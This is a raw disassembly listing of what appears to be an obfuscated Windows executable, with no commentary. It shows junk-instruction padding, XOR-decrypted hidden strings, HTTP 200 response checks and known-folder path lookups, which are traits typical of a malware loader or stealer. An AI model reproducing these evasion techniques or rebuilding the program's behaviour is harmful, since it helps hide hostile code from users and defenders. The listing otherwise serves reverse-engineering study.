movzx ecx, word [rsi]
cmp ecx, 0x22
je 0x14000e252
xor eax, eax
test ecx, ecx
jne 0x14000e15c
jmp 0x14001369c
cmp eax, 0x22
jne 0x14000e242
mov rdx, r12
shr rdx, 1
mov rcx, r15
call fcn.14003dfdf
mov eax, ebp
test r12b, 1
je 0x14000e15c
xor eax, eax
cmp word [rsi], 0
setne al
lea rsi, [rsi + rax*2]
mov rcx, r15
mov dx, 0x22
jmp 0x14000e1a3
mov rdx, qword [rsp + 0x1e960]
mov r8, qword [rsp + 0x1e970]
mov rcx, rbx
call fcn.14003c40f
mov rcx, r14
mov rdx, rbx
call fcn.14003f988
and qword [rsp + 0x1e970], 0
movzx eax, word [rsi]
cmp eax, 0x20
je 0x14000e23c
cmp eax, 9
jne 0x14000e1a8
add rsi, 2
jmp 0x14000e22b
mov rcx, r15
mov rdx, r12
call fcn.14003dfdf
jmp 0x14000e1a8
mov rcx, r15
mov dx, 0x22
call fcn.14003f0e1
cmp word [r12 + 2], 0
lea rax, [r12 + 4]
cmovne rsi, rax
jmp 0x14000e1a8
mov rsi, qword [rsp + 0x1e960]
mov r8, qword [rsp + 0x1e970]
test r8, r8
jne 0x14000e28d
test bpl, bpl
je 0x14000e2b0
lea rbx, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, rsi
call fcn.14003c40f
lea rcx, [rsp + 0x250]
mov rdx, rbx
call fcn.14003f988
mov rbx, qword [rsp + 0x250]
mov r15, qword [rsp + 0x258]
mov r14, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x1e968]
mov rcx, rsi
call fcn.14003cb28
mov rdx, qword [rsp + 0x598]
mov rcx, rdi
call fcn.14003cb28
jmp 0x14000e38e
call fcn.14003cb12
mov rdi, rax
mov qword [rsp + 0x1e960], rax
mov byte [rsp + 0x1e978], 2
mov bpl, 2
mov rcx, rsi
mov rdx, rbx
call fcn.14003cb28
lea rax, [rsp + 0xdb8]
cmp bpl, 2
jne 0x14000e33b
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov rcx, rdi
call fcn.14003bf7e
mov bpl, 1
mov edi, 1
jmp 0x14000e364
movdqu xmm0, xmmword [rsp + 0x1e968]
movdqu xmmword [rax], xmm0
mov eax, dword [rsp + 0x1e979]
mov ecx, dword [rsp + 0x1e97c]
mov dword [rsp + 0xdc9], eax
mov dword [rsp + 0xdcc], ecx
lea rdx, [rsp + 0xdb0]
mov qword [rdx], rdi
mov byte [rdx + 0x18], bpl
lea rsi, [rsp + 0x250]
mov rcx, rsi
call fcn.14003f988
mov rbx, qword [rsi]
mov r15, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
shl r14, 5
add r14, rbx
lea rsi, [rsp + 0x1e960]
mov qword [rsi], rbx
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], r14
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov rdx, rsi
call fcn.14003f9d2
cmp qword [rdi], 0
je 0x14000e527
mov rax, qword [rsp + 0x1e978]
sub rax, qword [rsp + 0x1e970]
shr rax, 5
cmp rax, 4
mov r12d, 3
cmovae r12, rax
movabs rax, 0x555555555555554
cmp r12, rax
ja 0x14001773a
inc r12
imul rdx, r12, 0x18
mov ecx, 8
call fcn.140005fa5
test rax, rax
je 0x14001773a
mov r15, rax
lea rbx, [rsp + 0xdb0]
mov rax, qword [rbx + 0x10]
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rbx]
movups xmmword [r15], xmm0
lea r14, [rsp + 0x250]
mov qword [r14], r15
mov qword [r14 + 8], r12
mov qword [r14 + 0x10], 1
movups xmm0, xmmword [rsp + 0x1e960]
movups xmm1, xmmword [rsp + 0x1e970]
movaps xmmword [rbx + 0x10], xmm1
movaps xmmword [rbx], xmm0
mov r13d, 1
mov ebp, 0x18
lea r12, [rsp + 0x590]
mov rcx, r12
mov rdx, rbx
call fcn.14003f9d2
cmp qword [rsp + 0x590], 0
je 0x14000e4e7
cmp r13, qword [rsp + 0x258]
jne 0x14000e4ba
mov rdx, qword [rsp + 0xdc8]
sub rdx, qword [rsp + 0xdc0]
shr rdx, 5
inc rdx
mov rcx, r14
call fcn.1400044a7
mov r15, qword [rsp + 0x250]
movdqu xmm0, xmmword [rsp + 0x590]
mov rax, qword [rsp + 0x5a0]
mov qword [r15 + rbp + 0x10], rax
movdqu xmmword [r15 + rbp], xmm0
inc r13
mov qword [rsp + 0x260], r13
add rbp, 0x18
jmp 0x14000e473
mov rdx, qword [rsp + 0x598]
xor ecx, ecx
call fcn.1400386c5
lea rcx, [rsp + 0xdb0]
call fcn.14003e400
movdqu xmm0, xmmword [rsp + 0x250]
movdqa xmmword [rsp + 0x3a0], xmm0
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x3b0], rax
jmp 0x14000e54d
mov qword [rsp + 0x3a0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x3a8], xmm0
lea rcx, [rsp + 0x1e960]
call fcn.14003e400
xor rax, 0
nop
xor rax, 0
or rax, 0
add rax, 0
nop
add rax, 0
mov rax, rax
add rax, 0
sub rax, 0
or rax, rax
nop
sub rax, 0
add rax, 0
xor rax, 0
xor rax, 0
nop
nop
nop
add rax, 0
add rax, 0
nop
nop
mov rax, rax
lea rax, [0x14005c70d]
mov qword [rsp + 0xdb0], rax
lea rdx, [rsp + 0xdb0]
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x74a1123b96f493e2
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006add
and qword [rsp + 0xdc0], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xdb0], xmm0
xor ecx, ecx
lea rdx, [0x14004a419]
cmp rcx, 0x17
ja 0x14000e60b
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
add rcx, 8
jmp 0x14000e5ef
movzx ecx, byte [rax + 0x1a]
movzx eax, word [rax + 0x18]
xor eax, 0x9f12
lea rbx, [rsp + 0xdb0]
mov word [rbx + 0x18], ax
xor cl, 0x50
mov byte [rbx + 0x1a], cl
movaps xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x1e960], xmm0
mov rax, qword [rbx + 0xb]
mov qword [rsp + 0x1e96b], rax
mov eax, dword [rbx + 0x13]
mov dword [rsp + 0x1e973], eax
mov al, byte [rbx + 0x17]
mov byte [rsp + 0x1e977], al
movzx eax, word [rbx + 0x18]
mov word [rsp + 0x1e978], ax
mov al, byte [rbx + 0x1a]
mov byte [rsp + 0x1e97a], al
mov ecx, 0x1b
call fcn.14001b537
mov r14, rax
mov qword [rsp + 0x408], rdx
movaps xmm0, xmmword [rsp + 0x1e960]
movups xmmword [rax], xmm0
movdqu xmm0, xmmword [rsp + 0x1e96b]
movdqu xmmword [rax + 0xb], xmm0
or rax, rax
sub rax, 0
add rax, 0
add rax, 0
or rax, rax
sub rax, 0
nop
nop
lea rax, [0x14005ff6b]
mov qword [rbx], rax
lea rdx, [rsp + 0xdb0]
mov rcx, qword [rbx]
movabs rax, 0xaad479c60d93787e
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140006e67
mov al, byte [rax]
xor al, 0xb4
mov byte [rsp + 0x1e960], al
mov r8d, 0x1b
mov rcx, rbx
mov qword [rsp + 0x400], r14
mov rdx, r14
mov r9, rsi
call fcn.140003533
lea r15, [rsp + 0xcf0]
mov rcx, r15
mov rdx, rbx
call fcn.14000372b
nop
nop
or rax, rax
nop
or rax, 0
sub rax, 0
add rax, 0
add rax, 0
add rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
nop
or rax, rax
or rax, 0
mov rax, rax
add rax, 0
xor rax, 0
add rax, 0
or rax, rax
xor rax, 0
nop
nop
or rax, 0
nop
nop
mov rbx, qword [r15]
mov rax, qword [r15 + 8]
mov qword [rsp + 0x48], rax
mov r14, qword [r15 + 0x10]
shl r14, 4
add r14, rbx
lea r15, [0x14004a434]
mov qword [rsp + 0x2d0], rbx
cmp rbx, r14
je 0x14000e9e4
mov r12, rsi
mov rsi, qword [rbx]
mov rdi, qword [rbx + 8]
or rax, 0
or rax, rax
add rax, 0
mov rax, rax
nop
add rax, 0
or rax, rax
sub rax, 0
add rax, 0
nop
nop
or rax, 0
nop
xor rax, 0
mov rax, rax
mov rax, rax
sub rax, 0
mov rcx, rdi
call fcn.14001b537
mov r13, rax
mov rbp, rdx
mov rcx, rax
mov qword [rsp + 0x88], rsi
mov rdx, rsi
mov rsi, r12
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], r13
mov qword [rsp + 0xdb8], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xdc0], rdi
lea rax, [0x14005be94]
mov qword [rsp + 0x1e960], rax
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0x442ffb7a51e69ce9
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006ec3
and dword [rsp + 0x1e960], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14000e8a0
movzx edx, byte [rcx + r15]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0x9a000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1e960], edx
mov ecx, 4
xor edx, edx
jmp 0x14000e856
add rbx, 0x10
mov eax, dword [rsp + 0x1e960]
mov dword [rsp + 0x590], eax
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
lea r12, [rsp + 0x590]
mov rdx, r12
lea r8, [rsp + 0x594]
call fcn.14001b1d4
mov rbp, qword [rsp + 0xdb0]
mov r13, qword [rsp + 0xdb8]
mov r9, qword [rsp + 0xdc0]
nop
or rax, 0
mov rax, rax
or rax, rax
nop
or rax, rax
nop
add rax, 0
add rax, 0
add rax, 0
nop
nop
sub rax, 0
nop
or rax, rax
mov rax, rax
nop
sub rax, 0
mov rax, rax
add rax, 0
or rax, rax
nop
add rax, 0
add rax, 0
or rax, rax
and qword [rsp + 0x590], 0
mov rcx, rdi
mov rdx, r12
mov r8, rbp
call fcn.1400066b1
mov rcx, rsi
mov rdx, rdi
call fcn.14002aa14
cmp qword [rsp + 0x1e960], 0
je 0x14000e9cc
mov eax, dword [rsp + 0x1e9d8]
xchg rcx, rcx
xor rcx, 0
or rcx, 0
xchg rcx, rcx
nop
xor rcx, 0
mov rcx, rcx
or rcx, rcx
nop
xor rcx, 0
or rcx, 0
sub rcx, 0
or rcx, rcx
sub rcx, 0
sub rcx, 0
sub rcx, 0
sub rcx, 0
xchg rcx, rcx
add rcx, 0
or rcx, 0
add rcx, 0
cmp eax, 0xc8
je 0x14000e9ec
mov rcx, rsi
call fcn.14000330d
mov rcx, rbp
mov rdx, r13
call fcn.14001b4c0
jmp 0x14000e787
mov rcx, rbp
mov rdx, r13
call fcn.14001b4c0
mov rcx, rsi
call fcn.14000351f
jmp 0x14000e787
xor r12d, r12d
jmp 0x14000ea6d
add rax, 0
mov rax, rax
add rax, 0
xor rax, 0
nop
or rax, 0
sub rax, 0
or rax, rax
nop
xor rax, 0
sub rax, 0
add rax, 0
xor rax, 0
nop
add rax, 0
xor rax, 0
or rax, rax
mov rax, rax
nop
nop
xor rax, 0
sub rax, 0
xor rax, 0
or rax, rax
or rax, 0
xor rax, 0
or rax, 0
add rax, 0
or rax, 0
nop
lea rcx, [rsp + 0x1e960]
call fcn.14000330d
mov rcx, rbp
mov rdx, r13
call fcn.14001b4c0
mov r12, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x48]
call fcn.140003446
nop
nop
xor rax, 0
xor rax, 0
add rax, 0
sub rax, 0
sub rax, 0
sub rax, 0
add rax, 0
or rax, 0
nop
add rax, 0
or rax, 0
add rax, 0
mov rax, rax
nop
add rax, 0
mov rax, rax
mov rax, rax
mov rax, rax
nop
or rax, 0
xor rax, 0
add rax, 0
nop
mov rax, rax
or rax, 0
or rax, 0
or rax, 0
or rax, 0
nop
or rax, 0
sub rax, 0
mov rax, rax
nop
or rax, 0
nop
xor rax, 0
or rax, 0
nop
sub rax, 0
or rax, rax
or rax, rax
mov rax, rax
or rax, rax
xor rax, 0
nop
nop
nop
or rax, rax
nop
add rax, 0
mov rax, rax
add rax, 0
nop
nop
or rax, rax
or rax, 0
xor rax, 0
sub rax, 0
add rax, 0
or rax, rax
mov rax, rax
nop
sub rax, 0
nop
lea rsi, [rsp + 0xdb0]
mov rcx, rsi
call fcn.14003f935
lea rcx, [rsp + 0xdb8]
cmp qword [rcx - 8], 0
je 0x14000eb6d
call fcn.140003260
mov eax, 1
jmp 0x14000eb75
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x320], rax
add rax, 0
nop
sub rax, 0
mov rax, rax
add rax, 0
or rax, rax
nop
xor rax, 0
nop
or rax, 0
nop
xor rax, 0
mov rax, rax
mov rax, rax
add rax, 0
xor rax, 0
nop
nop
nop
or rax, rax
sub rax, 0
or rax, rax
or rax, 0
xor rax, 0
nop
lea rax, [0x140068071]
lea rdi, [rsp + 0xdb0]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0xebff2bc264479625
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140006d61
mov rsi, rax
xor ebx, ebx
mov r8d, 0x978
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x14004a438]
cmp rbx, 0x977
ja 0x14000ec28
mov rcx, qword [rbx + rax]
xor rcx, qword [rsi + rbx]
mov qword [rsp + rbx + 0xdb0], rcx
add rbx, 8
jmp 0x14000ec09
mov qword [rsp + 0x88], r12
lea rsi, [rsp + 0x1e960]
lea rdi, [rsp + 0xdb0]
mov r8d, 0x978
mov rcx, rsi
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rbx, [rsp + 0x4c8]
mov r8d, 0x978
mov rcx, rbx
mov rdx, rsi
call fcn.14001b7f8
nop
or rax, rax
mov rax, rax
nop
mov rax, rax
or rax, 0
nop
sub rax, 0
or rax, 0
or rax, rax
xor rax, 0
add rax, 0
or rax, rax
nop
nop
xor rax, 0
add rax, 0
or rax, 0
sub rax, 0
nop
nop
nop
nop
mov rax, rax
nop
nop
nop
add rax, 0
or rax, 0
nop
nop
nop
sub rax, 0
add rax, 0
or rax, rax
xor rax, 0
mov qword [rsp + 0x328], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x330], xmm0
nop
or rax, rax
xor rax, 0
or rax, 0
sub rax, 0
mov rax, rax
or rax, rax
mov rax, rax
or rax, 0
mov rax, rax
or rax, rax
add rax, 0
mov rax, rax
mov rax, rax
sub rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
nop
mov rax, rax
mov rax, rax
add rax, 0
mov r15, qword [rbx]
mov rbx, qword [rbx + 0x10]
lea rax, [0x14005f74f]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x88d045cc1599e3db
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140006d8f
mov al, byte [rax]
xor al, 0x77
lea r9, [rsp + 0xc40]
mov byte [r9], al
lea r14, [rsp + 0xdb0]
mov rcx, r14
mov rdx, r15
mov r8, rbx
call fcn.140003533
lea rbx, [rsp + 0x590]
mov rcx, rbx
mov rdx, r14
call fcn.14000372b
mov rdi, qword [rbx]
cmp qword [rbx + 0x10], 2
jne 0x14000eec5
mov rax, rax
add rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
or rax, rax
nop
or rax, 0
or rax, rax
nop
nop
mov r15, qword [rdi]
mov r12, qword [rdi + 8]
lea rax, [0x14006105f]
lea rbx, [rsp + 0xdb0]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x70964cce43415d6a
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.14000682b
mov al, byte [rax]
xor al, 0x67
lea r9, [rsp + 0x250]
mov byte [r9], al
mov rcx, rbx
mov rdx, r15
mov r8, r12
call fcn.140003533
lea r14, [rsp + 0x1e960]
mov rcx, r14
mov rdx, rbx
call fcn.14000372b
mov ecx, 8
xor edx, edx
call fcn.140003396
mov rbp, qword [r14]
mov rax, qword [r14 + 8]
mov qword [rsp + 0x318], rax
mov r13, qword [r14 + 0x10]
xor rax, 0
sub rax, 0
nop
or rax, 0
xor rax, 0
xor rax, 0
mov r15, qword [rdi + 0x10]
mov r12, qword [rdi + 0x18]
lea rax, [0x14008a3ad]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x97ef396b49f3ccd9
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140006c2e
mov al, byte [rax]
xor al, 0xf
mov byte [r14], al
lea rbx, [rsp + 0xdb0]
lea r9, [rsp + 0x1e960]
mov rcx, rbx
mov rdx, r15
mov r8, r12
call fcn.140003533
lea rcx, [rsp + 0x328]
mov rdx, rbx
call fcn.14000372b
mov ecx, 8
xor edx, edx
call fcn.140003396
jmp 0x14000eed7
xor eax, eax
mov qword [rsp + 0x318], rax
mov ebp, 8
xor r13d, r13d
mov rdx, qword [rsp + 0x598]
mov rcx, rdi
call fcn.140003396
sub rax, 0
xor rax, 0
or rax, 0
or rax, 0
nop
or rax, rax
mov rax, rax
xor rax, 0
xor rax, 0
mov rax, rax
nop
lea rbx, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, r13
call fcn.140004414
mov rdi, qword [rbx]
mov r14, r13
shl r14, 4
mov rcx, rdi
mov qword [rsp + 0x2d0], rbp
mov rdx, rbp
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rbx, qword [rbx + 8]
lea r15, [rsp + 0x328]
mov rcx, r15
mov rdx, r13
call fcn.1400044de
mov r12, qword [r15 + 0x10]
mov rcx, r12
shl rcx, 4
add rcx, qword [r15]
mov rdx, rdi
mov r8, r14
call sub.msvcrt.dll_memcpy
add r12, r13
mov qword [r15 + 0x10], r12
mov rcx, rdi
mov rdx, rbx
call fcn.140003446
add rax, 0
or rax, rax
mov rax, rax
add rax, 0
nop
xor rax, 0
xor rax, 0
or rax, rax
nop
nop
nop
nop
nop
xor rax, 0
or rax, 0
sub rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
mov r15, qword [rsp + 0x88]
test r15, r15
je 0x14000f3f9
or rax, 0
nop
add rax, 0
nop
nop
add rax, 0
or rax, rax
add rax, 0
nop
or rax, 0
add rax, 0
nop
xor rax, 0
or rax, rax
sub rax, 0
mov rax, rax
or rax, rax
sub rax, 0
nop
xor rax, 0
mov r14, qword [rsp + 0xa0]
mov rcx, r14
call fcn.14001b537
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r15
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rdi
mov qword [rsp + 0xdb8], rbx
mov qword [rsp + 0xdc0], r14
lea rax, [0x140062aa0]
mov qword [rsp + 0x1e960], rax
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0xd4a630e494569fd5
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.1400069bc
and dword [rsp + 0x1e960], 0
mov byte [rsp + 0x1e964], 0
mov r8b, 1
xor ecx, ecx
lea rdx, str._cBv
test r8b, 1
je 0x14000f0e8
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 2
mov r11, rcx
or r11, 3
movzx r10d, byte [r10 + rdx]
movzx r11d, byte [r11 + rdx]
shl r11d, 0x18
shl r10d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r10d
or r9d, r11d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x1e960], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14000f08e
mov al, byte [rax + 4]
xor al, 0x76
lea r8, [rsp + 0x1e965]
mov ecx, dword [r8 - 5]
mov byte [r8 - 1], al
mov dword [r8 - 5], ecx
lea rsi, [rsp + 0xdb0]
lea rdi, [rsp + 0x1e960]
mov rcx, rsi
mov rdx, rdi
call fcn.14001b1d4
mov r14, qword [rsi]
mov rbx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
nop
mov rax, rax
or rax, rax
or rax, rax
nop
nop
mov rax, rax
lea rsi, [rsp + 0xdb0]
mov rcx, rsi
mov rdx, r14
call fcn.140006476
lea rax, [0x14005c7b3]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x848565efd4890200
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.14000671e
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x9086
xor cl, 0x9b
lea r8, [rsp + 0x250]
mov byte [r8 + 2], cl
mov word [r8], ax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x1e960]
mov r9d, 3
mov rcx, rdi
mov rdx, rsi
call fcn.140006526
lea rsi, [rsp + 0x590]
mov rcx, rsi
mov rdx, rdi
call fcn.14002aa14
cmp qword [rsi], 0
je 0x14000f32a
lea rax, [rsp + 0xdb0]
lea rsi, [rsp + 0x590]
mov ecx, 0x10
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
add rcx, 0
or rcx, rcx
mov rcx, rcx
or rcx, rcx
mov rcx, rcx
or rcx, rcx
mov rcx, rcx
or rcx, rcx
sub rcx, 0
add rcx, 0
mov rcx, rcx
add rcx, 0
add rcx, 0
add rcx, 0
sub rcx, 0
sub rcx, 0
or rcx, rcx
sub rcx, 0
xor rcx, 0
cmp dword [rax + 0x78], 0xc8
jne 0x14000f347
mov rax, rax
add rax, 0
nop
nop
nop
xor rax, 0
xor rax, 0
xor rax, 0
or rax, 0
or rax, 0
nop
add rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
add rax, 0
nop
mov rax, qword [rsp + 0xe20]
or rcx, rcx
mov rcx, rcx
xchg rcx, rcx
or rcx, 0
sub rcx, 0
or rcx, 0
nop
add rcx, 0
xor rcx, 0
sub rcx, 0
sub rcx, 0
test rax, rax
je 0x14000f391
cmp qword [rsp + 0x3b0], 1
jne 0x14000f391
mov rax, rax
nop
xor rax, 0
or rax, rax
add rax, 0
xor rax, 0
nop
or rax, 0
add rax, 0
or rax, rax
sub rax, 0
add rax, 0
add rax, 0
mov rax, rax
nop
or rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
nop
mov rax, rax
mov rax, rax
nop
sub rax, 0
sub rax, 0
nop
sub rax, 0
lea rcx, [rsp + 0x590]
call fcn.14000330d
mov rcx, r14
mov rdx, rbx
jmp 0x1400169ca
mov rcx, r14
mov rdx, rbx
call fcn.14001b4c0
lea rcx, [rsp + 0x590]
call fcn.14000351f
jmp 0x14000f3f9
add rax, 0
or rax, rax
mov rax, rax
nop
sub rax, 0
add rax, 0
nop
or rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
sub rax, 0
add rax, 0
nop
or rax, rax
add rax, 0
or rax, rax
mov rax, rax
add rax, 0
nop
add rax, 0
or rax, 0
mov rax, rax
jmp 0x14000f3e1
xor rax, 0
add rax, 0
or rax, rax
or rax, rax
xor rax, 0
or rax, rax
nop
add rax, 0
nop
add rax, 0
xor rax, 0
or rax, 0
sub rax, 0
xor rax, 0
or rax, rax
mov rax, rax
add rax, 0
or rax, 0
mov rax, rax
or rax, 0
add rax, 0
or rax, 0
sub rax, 0
lea rcx, [rsp + 0xdb0]
call fcn.14000330d
mov rcx, r14
mov rdx, rbx
call fcn.14001b4c0
add rax, 0
sub rax, 0
nop
or rax, rax
xor rax, 0
or rax, rax
or rax, rax
nop
mov rax, rax
or rax, rax
add rax, 0
nop
or rax, 0
xor rax, 0
nop
add rax, 0
add rax, 0
add rax, 0
xor rax, 0
or rax, 0
or rax, rax
xor rax, 0
or rax, rax
nop
sub rax, 0
add rax, 0
add rax, 0
mov rax, rax
nop
mov rax, rax
or rax, rax
movdqu xmm0, xmmword [0x14008ba00]
lea rcx, [rsp + 0x1e960]
movdqa xmmword [rcx], xmm0
lea rsi, [rsp + 0x590]
and qword [rsi], 0
xor edx, edx
xor r8d, r8d
mov r9, rsi
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rsi]
test eax, eax
jne 0x1400174ad
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rsp + 0x590]
lea rsi, [rsp + 0xdb0]
mov rcx, rsi
call fcn.14003c40f
mov rcx, qword [rsp + 0x590]
call sub.ole32.dll_CoTaskMemFree
cmp byte [rsi + 0x18], 2
je 0x1400174ba
mov rdx, qword [rsp + 0xdb0]
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x3f8], rax
mov r8, qword [rsp + 0xdc0]
mov rax, rax
mov rax, rax
or rax, 0
nop
xor rax, 0
sub rax, 0
nop
or rax, rax
add rax, 0
sub rax, 0
nop
nop
xor rax, 0
add rax, 0
mov rax, rax
mov rax, rax
or rax, 0
or rax, 0
nop
nop
nop
lea rcx, [rsp + 0x458]
mov qword [rsp + 0x1c8], rdx
mov qword [rsp + 0x48], r8
call fcn.140002ddd
or rax, 0
mov rax, rax
mov rax, rax
or rax, rax
add rax, 0
lea rax, [0x14005e1d2]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x44bc929fd10e534c
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006f49
and dword [rsp + 0xdb3], 0
and dword [rsp + 0xdb0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x14004adb5]
test r8b, 1
je 0x14000f5f9
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0xdb0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14000f59f
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xa85
xor cl, 0xf8
mov edx, dword [rsp + 0xdb0]
lea r9, [rsp + 0x180]
mov dword [r9], edx
mov byte [r9 + 6], cl
mov word [r9 + 4], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x590]
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x48]
call fcn.140040abe
lea rax, [0x140066dac]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x5cb40918e10abeb6
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006f10
and qword [rsp + 0xdb0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x14004adbc]
test r8b, 1
je 0x14000f73d
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rdi, rcx
or rdi, 4
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 5
movzx ebx, byte [rbx + rdx]
mov r14, rcx
or r14, 6
mov r15, rcx
or r15, 7
movzx r14d, byte [r14 + rdx]
movzx r15d, byte [r15 + rdx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r14
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
mov ecx, 8
xor r8d, r8d
jmp 0x14000f692
mov al, byte [rax + 8]
xor al, 0x97
mov rcx, qword [rsp + 0xdb0]
lea r9, [rsp + 0x100]
mov qword [r9], rcx
mov byte [r9 + 8], al
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x1e960]
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x48]
call fcn.140040abe
lea rax, [0x140068b82]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0xced32c2bae0501b4
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006998
and qword [rsp + 0xdb0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x14004adc5]
test r8b, 1
je 0x14000f871
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 4
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + rdx]
movzx r14d, byte [r14 + rdx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
mov ecx, 8
xor r8d, r8d
jmp 0x14000f7c7
mov al, byte [rax + 8]
